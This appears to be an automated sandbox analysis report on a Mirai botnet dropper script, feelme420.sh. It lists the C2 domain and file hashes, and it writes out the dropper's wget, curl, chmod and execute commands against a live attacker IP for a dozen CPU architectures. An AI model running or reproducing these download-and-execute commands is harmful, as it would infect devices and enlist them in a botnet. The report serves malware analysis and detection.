Analysis

  • max time kernel
    119s
  • max time network
    124s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    19-12-2024 07:08

General

  • Target

    feelme420.sh

  • Size

    3KB

  • MD5

    22e9d65b991f00de3a52071664dc52f9

  • SHA1

    2b6dd972572c4c72ecf43bb7b66eebe776cd0360

  • SHA256

    7c31b6f7e29de978c261d41059788662d9d53faf08be61330e611eedcd46d33b

  • SHA512

    eefb50d98fc847673e4c38177789e26ee89ec7f027ec5ec92a842470638a84300f378cf10120afab26fe5a87de34c6616f33fc389be816b4763f0fea0eff18cb

Malware Config

Extracted

Family

mirai

C2

chernobyl.stressing.world

Extracted

Family

mirai

C2

chernobyl.stressing.world

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • Reads runtime system information 16 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 31 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/feelme420.sh
    /tmp/feelme420.sh
    1⤵
    • Writes file to tmp directory
    PID:697
    • /usr/bin/wget
      wget http://94.23.167.188/F331M3/feelme420.x86
      2⤵
      • Writes file to tmp directory
      PID:704
    • /usr/bin/curl
      curl -O http://94.23.167.188/F331M3/feelme420.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:711
    • /bin/cat
      cat feelme420.x86
      2⤵
        PID:723
      • /bin/chmod
        chmod +x f331m3420 feelme420.sh feelme420.x86 systemd-private-17bbbb0f29ad499e9de91ce9ceeb7e2b-systemd-timedated.service-OtI5tN
        2⤵
        • File and Directory Permissions Modification
        PID:725
      • /tmp/f331m3420
        ./f331m3420 feelme420.exploit
        2⤵
        • Executes dropped EXE
        PID:726
      • /usr/bin/wget
        wget http://94.23.167.188/F331M3/feelme420.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:728
      • /usr/bin/curl
        curl -O http://94.23.167.188/F331M3/feelme420.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:731
      • /bin/cat
        cat feelme420.mips
        2⤵
        • System Network Configuration Discovery
        PID:732
      • /bin/chmod
        chmod +x f331m3420 feelme420.mips feelme420.sh feelme420.x86 systemd-private-17bbbb0f29ad499e9de91ce9ceeb7e2b-systemd-timedated.service-OtI5tN
        2⤵
        • File and Directory Permissions Modification
        PID:733
      • /tmp/f331m3420
        ./f331m3420 feelme420.exploit
        2⤵
        • Executes dropped EXE
        PID:734
      • /usr/bin/wget
        wget http://94.23.167.188/F331M3/feelme420.mpsl
        2⤵
        • Writes file to tmp directory
        PID:736
      • /usr/bin/curl
        curl -O http://94.23.167.188/F331M3/feelme420.mpsl
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:737
      • /bin/cat
        cat feelme420.mpsl
        2⤵
          PID:738
        • /bin/chmod
          chmod +x f331m3420 feelme420.mips feelme420.mpsl feelme420.sh feelme420.x86 systemd-private-17bbbb0f29ad499e9de91ce9ceeb7e2b-systemd-timedated.service-OtI5tN
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/f331m3420
          ./f331m3420 feelme420.exploit
          2⤵
          • Executes dropped EXE
          PID:740
        • /usr/bin/wget
          wget http://94.23.167.188/F331M3/feelme420.arm
          2⤵
            PID:741
          • /usr/bin/curl
            curl -O http://94.23.167.188/F331M3/feelme420.arm
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:745
          • /bin/cat
            cat feelme420.arm
            2⤵
              PID:752
            • /bin/chmod
              chmod +x f331m3420 feelme420.arm feelme420.mips feelme420.mpsl feelme420.sh feelme420.x86
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/f331m3420
              ./f331m3420 feelme420.exploit
              2⤵
              • Executes dropped EXE
              PID:755
            • /usr/bin/wget
              wget http://94.23.167.188/F331M3/feelme420.arm5
              2⤵
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://94.23.167.188/F331M3/feelme420.arm5
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:763
            • /bin/cat
              cat feelme420.arm5
              2⤵
                PID:771
              • /bin/chmod
                chmod +x f331m3420 feelme420.arm feelme420.arm5 feelme420.mips feelme420.mpsl feelme420.sh feelme420.x86
                2⤵
                • File and Directory Permissions Modification
                PID:772
              • /tmp/f331m3420
                ./f331m3420 feelme420.exploit
                2⤵
                • Executes dropped EXE
                PID:774
              • /usr/bin/wget
                wget http://94.23.167.188/F331M3/feelme420.arm6
                2⤵
                • Writes file to tmp directory
                PID:777
              • /usr/bin/curl
                curl -O http://94.23.167.188/F331M3/feelme420.arm6
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:782
              • /bin/cat
                cat feelme420.arm6
                2⤵
                  PID:790
                • /bin/chmod
                  chmod +x f331m3420 feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.mips feelme420.mpsl feelme420.sh feelme420.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:791
                • /tmp/f331m3420
                  ./f331m3420 feelme420.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:793
                • /usr/bin/wget
                  wget http://94.23.167.188/F331M3/feelme420.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:798
                • /usr/bin/curl
                  curl -O http://94.23.167.188/F331M3/feelme420.arm7
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:807
                • /bin/cat
                  cat feelme420.arm7
                  2⤵
                    PID:808
                  • /bin/chmod
                    chmod +x f331m3420 feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.arm7 feelme420.mips feelme420.mpsl feelme420.sh feelme420.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:809
                  • /tmp/f331m3420
                    ./f331m3420 feelme420.exploit
                    2⤵
                    • Executes dropped EXE
                    PID:810
                  • /usr/bin/wget
                    wget http://94.23.167.188/F331M3/feelme420.ppc
                    2⤵
                    • Writes file to tmp directory
                    PID:812
                  • /usr/bin/curl
                    curl -O http://94.23.167.188/F331M3/feelme420.ppc
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:813
                  • /bin/cat
                    cat feelme420.ppc
                    2⤵
                      PID:814
                    • /bin/chmod
                      chmod +x f331m3420 feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.arm7 feelme420.mips feelme420.mpsl feelme420.ppc feelme420.sh feelme420.x86
                      2⤵
                      • File and Directory Permissions Modification
                      PID:815
                    • /tmp/f331m3420
                      ./f331m3420 feelme420.exploit
                      2⤵
                      • Executes dropped EXE
                      PID:816
                    • /usr/bin/wget
                      wget http://94.23.167.188/F331M3/feelme420.m68k
                      2⤵
                      • Writes file to tmp directory
                      PID:818
                    • /usr/bin/curl
                      curl -O http://94.23.167.188/F331M3/feelme420.m68k
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:819
                    • /bin/cat
                      cat feelme420.m68k
                      2⤵
                        PID:828
                      • /bin/chmod
                        chmod +x f331m3420 feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.arm7 feelme420.m68k feelme420.mips feelme420.mpsl feelme420.ppc feelme420.sh feelme420.x86
                        2⤵
                        • File and Directory Permissions Modification
                        PID:829
                      • /tmp/f331m3420
                        ./f331m3420 feelme420.exploit
                        2⤵
                        • Executes dropped EXE
                        PID:830
                      • /usr/bin/wget
                        wget http://94.23.167.188/F331M3/feelme420.sh4
                        2⤵
                        • Writes file to tmp directory
                        PID:834
                      • /usr/bin/curl
                        curl -O http://94.23.167.188/F331M3/feelme420.sh4
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:839
                      • /bin/cat
                        cat feelme420.sh4
                        2⤵
                          PID:846
                        • /bin/chmod
                          chmod +x f331m3420 feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.arm7 feelme420.m68k feelme420.mips feelme420.mpsl feelme420.ppc feelme420.sh feelme420.sh4 feelme420.x86
                          2⤵
                          • File and Directory Permissions Modification
                          PID:848
                        • /tmp/f331m3420
                          ./f331m3420 feelme420.exploit
                          2⤵
                          • Executes dropped EXE
                          PID:849
                        • /usr/bin/wget
                          wget http://94.23.167.188/F331M3/feelme420.spc
                          2⤵
                          • Writes file to tmp directory
                          PID:852
                        • /usr/bin/curl
                          curl -O http://94.23.167.188/F331M3/feelme420.spc
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:857
                        • /bin/cat
                          cat feelme420.spc
                          2⤵
                            PID:862
                          • /bin/chmod
                            chmod +x f331m3420 feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.arm7 feelme420.m68k feelme420.mips feelme420.mpsl feelme420.ppc feelme420.sh feelme420.sh4 feelme420.spc feelme420.x86
                            2⤵
                            • File and Directory Permissions Modification
                            PID:863
                          • /tmp/f331m3420
                            ./f331m3420 feelme420.exploit
                            2⤵
                            • Executes dropped EXE
                            PID:864
                          • /usr/bin/wget
                            wget http://94.23.167.188/F331M3/feelme420.arc
                            2⤵
                            • Writes file to tmp directory
                            PID:866
                          • /usr/bin/curl
                            curl -O http://94.23.167.188/F331M3/feelme420.arc
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:867
                          • /bin/cat
                            cat feelme420.arc
                            2⤵
                              PID:868
                            • /bin/chmod
                              chmod +x f331m3420 feelme420.arc feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.arm7 feelme420.m68k feelme420.mips feelme420.mpsl feelme420.ppc feelme420.sh feelme420.sh4 feelme420.spc feelme420.x86
                              2⤵
                              • File and Directory Permissions Modification
                              PID:869
                            • /tmp/f331m3420
                              ./f331m3420 feelme420.exploit
                              2⤵
                              • Executes dropped EXE
                              PID:870
                            • /usr/bin/wget
                              wget http://94.23.167.188/F331M3/feelme420.x86_64
                              2⤵
                              • Writes file to tmp directory
                              PID:872
                            • /usr/bin/curl
                              curl -O http://94.23.167.188/F331M3/feelme420.x86_64
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:873
                            • /bin/cat
                              cat feelme420.x86_64
                              2⤵
                                PID:874
                              • /bin/chmod
                                chmod +x f331m3420 feelme420.arc feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.arm7 feelme420.m68k feelme420.mips feelme420.mpsl feelme420.ppc feelme420.sh feelme420.sh4 feelme420.spc feelme420.x86 feelme420.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:875
                              • /tmp/f331m3420
                                ./f331m3420 feelme420.exploit
                                2⤵
                                • Executes dropped EXE
                                PID:876
                              • /usr/bin/wget
                                wget http://94.23.167.188/F331M3/feelme420.i686
                                2⤵
                                • Writes file to tmp directory
                                PID:878
                              • /usr/bin/curl
                                curl -O http://94.23.167.188/F331M3/feelme420.i686
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:879
                              • /bin/cat
                                cat feelme420.i686
                                2⤵
                                  PID:880
                                • /bin/chmod
                                  chmod +x f331m3420 feelme420.arc feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.arm7 feelme420.i686 feelme420.m68k feelme420.mips feelme420.mpsl feelme420.ppc feelme420.sh feelme420.sh4 feelme420.spc feelme420.x86 feelme420.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:881
                                • /tmp/f331m3420
                                  ./f331m3420 feelme420.exploit
                                  2⤵
                                  • Executes dropped EXE
                                  PID:882
                                • /usr/bin/wget
                                  wget http://94.23.167.188/F331M3/feelme420.i486
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:884
                                • /usr/bin/curl
                                  curl -O http://94.23.167.188/F331M3/feelme420.i486
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:885
                                • /bin/cat
                                  cat feelme420.i486
                                  2⤵
                                    PID:886
                                  • /bin/chmod
                                    chmod +x f331m3420 feelme420.arc feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.arm7 feelme420.i486 feelme420.i686 feelme420.m68k feelme420.mips feelme420.mpsl feelme420.ppc feelme420.sh feelme420.sh4 feelme420.spc feelme420.x86 feelme420.x86_64
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:887
                                  • /tmp/f331m3420
                                    ./f331m3420 feelme420.exploit
                                    2⤵
                                    • Executes dropped EXE
                                    PID:888
                                  • /usr/bin/wget
                                    wget http://94.23.167.188/F331M3/feelme420.i586
                                    2⤵
                                      PID:890
                                    • /usr/bin/curl
                                      curl -O http://94.23.167.188/F331M3/feelme420.i586
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:891
                                    • /bin/cat
                                      cat feelme420.i586
                                      2⤵
                                        PID:892
                                      • /bin/chmod
                                        chmod +x f331m3420 feelme420.arc feelme420.arm feelme420.arm5 feelme420.arm6 feelme420.arm7 feelme420.i486 feelme420.i586 feelme420.i686 feelme420.m68k feelme420.mips feelme420.mpsl feelme420.ppc feelme420.sh feelme420.sh4 feelme420.spc feelme420.x86 feelme420.x86_64
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:893
                                      • /tmp/f331m3420
                                        ./f331m3420 feelme420.exploit
                                        2⤵
                                        • Executes dropped EXE
                                        PID:894

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/f331m3420

                                      Filesize

                                      68KB

                                      MD5

                                      71b0c2e7cc122d6de4a481bea5ebc6d9

                                      SHA1

                                      f982ae244188ddd93b797e9548e049b97d2f2c7f

                                      SHA256

                                      de0eaed88adb239921c42f1f8038523d53c735f01992fe773f54e1d181750833

                                      SHA512

                                      f38ed5895d7c420b15688de521df6fc394ae9e1690a5f3628f22bd6489dab21ec8e9fa6dcfca40082d5099763d10b680bba3b43ef6f71016132958aa9a0d7f43

                                    • /tmp/f331m3420

                                      Filesize

                                      114KB

                                      MD5

                                      e10ad3d97637588b2056db57a546fa7f

                                      SHA1

                                      138efa03e54a9f1eaed0e587ea259c182a1289d1

                                      SHA256

                                      1ea71a6d347541c7f892d7361fbda4b282fcf5d11aeb7297a8345ce88f78865a

                                      SHA512

                                      c6a9455aa701260796fa9f9b466dccf1166bb11cf3c0d9896f43ea9936f695ace78863f230362b884249bc3a110a3e1f4ad659ea5e9163261fb0bc1c349dd71a

                                    • /tmp/f331m3420

                                      Filesize

                                      114KB

                                      MD5

                                      c5d1f6a6e591069acffcaeb19c405a02

                                      SHA1

                                      1265bbf1ff14c6b913ced2f63807aaa93137d87b

                                      SHA256

                                      6e4e8f08dd7471f62194314808a2d1a19b53db947c707a8839ce56c453656049

                                      SHA512

                                      64d63427c40954e8b6c56b2bf56533ed3b06bc347b7add89e15e59fa7ca62ae744ec398384487621b5ace6dd6a6fcb9fe71cdabbcd5ef7379441d9ec779ac5ae

                                    • /tmp/f331m3420

                                      Filesize

                                      218B

                                      MD5

                                      9efd7ff37a85d83af5298b3671491070

                                      SHA1

                                      24c2fbed0abb244b610f6aa0a429c50902d7a682

                                      SHA256

                                      a90c0ae7235ef04a7df3797ab4f15c35e1d5f04fafbf06d81df3e6ce82e7a7b4

                                      SHA512

                                      20204386063b3ea13c5db7527c80c8f651b8b6b003c8282335e79f4ded81aabf8e36bed2d238c6da09360e9f94cec954993eb366b409a38b4720c376621c4cf8

                                    • /tmp/f331m3420

                                      Filesize

                                      63KB

                                      MD5

                                      8e8b3e650b8b979fca40999c2aef8077

                                      SHA1

                                      af3f71ef4f46e03afc6c060ff3fdb858b98a54eb

                                      SHA256

                                      ec953f9e9a20a77753750cf458536542c6e1a6871ea73e2d4dfb74b7055898c4

                                      SHA512

                                      bb940245f77d7a2d886e71561f7d3a2beb3f6f0ada5a3a61718abe947be028a93a6eb21833e07d1710f4b425c0767184f5cd41890e81fefcd66e12273971151f

                                    • /tmp/f331m3420

                                      Filesize

                                      146KB

                                      MD5

                                      b7536c5b903a574ffaa59cfeb0128de9

                                      SHA1

                                      077228fbc23181fcb09760048b8cf95ec2210691

                                      SHA256

                                      f41a69c32274aa2c39ee0b5f30a025a8991265ba6df831837a6d4bc0a144e068

                                      SHA512

                                      f179c04a5d7ae674b14a95efdc114f3365c7f7476c570f77a9fa9cac9a3bf4262a0fc252c933dab87ca24d7df7c9f74091e61986d7bb1b66c694fb4b03d0c099